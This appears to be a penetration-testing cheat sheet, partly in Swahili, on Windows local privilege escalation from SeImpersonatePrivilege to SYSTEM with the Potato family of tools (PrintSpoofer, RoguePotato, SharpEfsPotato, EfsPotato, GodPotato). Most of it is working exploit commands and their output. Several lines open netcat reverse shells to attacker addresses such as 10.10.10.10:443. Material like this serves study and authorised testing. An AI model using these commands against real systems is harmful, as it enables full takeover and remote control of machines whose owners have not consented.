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3.9 KiB
3.9 KiB
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
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[!WARNING] > JuicyPotato haitumiki kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, PrintSpoofer, RoguePotato, SharpEfsPotato, GodPotato, EfsPotato, DCOMPotato** zinaweza kutumika kuongeza mamlaka sawa na kupata ufikiaji wa kiwango cha
NT AUTHORITY\SYSTEM. Hii blog post inaelezea kwa undani kuhusu zana yaPrintSpoofer, ambayo inaweza kutumika kuboresha mamlaka ya uigaji kwenye Windows 10 na Server 2019 ambapo JuicyPotato haitumiki tena.
Quick Demo
PrintSpoofer
c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
--------------------------------------------------------------------------------
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
NULL
RoguePotato
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
SharpEfsPotato
> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!
C:\temp>type C:\temp\w.log
nt authority\system
EfsPotato
> EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=aeee30)
[+] Get Token: 888
[!] process with pid: 3696 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818
nt authority\system
GodPotato
> GodPotato -cmd "cmd /c whoami"
# You can achieve a reverse shell like this.
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
DCOMPotato
References
- https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
- https://github.com/itm4n/PrintSpoofer
- https://github.com/antonioCoco/RoguePotato
- https://github.com/bugch3ck/SharpEfsPotato
- https://github.com/BeichenDream/GodPotato
- https://github.com/zcgonvh/EfsPotato
- https://github.com/zcgonvh/DCOMPotato
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